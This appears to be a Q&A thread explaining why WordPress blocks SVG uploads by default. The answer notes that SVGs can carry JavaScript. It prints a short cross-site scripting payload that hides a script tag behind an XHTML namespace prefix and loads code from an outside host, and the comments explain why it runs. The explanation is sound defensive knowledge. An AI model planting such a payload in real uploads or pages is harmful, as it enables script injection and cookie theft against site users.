15

I see that SVGs are blocked by default in the media uploader and you have to add it as a supported MIME type in functions.php. What security reasons are behind this?

1 Answer 1

17

SVG can contain JavaScript. JavaScript can be used to hijack cookies or do other questionable actions. It can even be "hidden" in namespaces:

<html xmlns:ø="http://www.w3.org/1999/xhtml">
   <ø:script src="//0x.lv/" />
</html>

source

It is very hard to filter that out during the upload, so it is just not allowed by default.

3
  • I thought the point of namespacing was to avoid tag name collision, meaning ø:script shouldn't be handled as script and thus should do nothing. What causes the namespaced ø:script tag to be treated as a non-namespaced script tag? Or do SVGs also allow embedding non-JS XML parsers?
    – JAB
    Jun 15, 2015 at 17:55
  • @JAB the namespace http://www.w3.org/1999/xhtml makes this script instance an equivalent of a regular script.
    – fuxia
    Jun 15, 2015 at 18:56
  • Oh, now I understand. The implicit namespace for HTML tags is http://www.w3.org/1999/xhtml, so you can create a reference to that URL and use it as a namespace prefix for such tags and XHTML parsers will handle them as normal tags.
    – JAB
    Jun 15, 2015 at 23:18

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.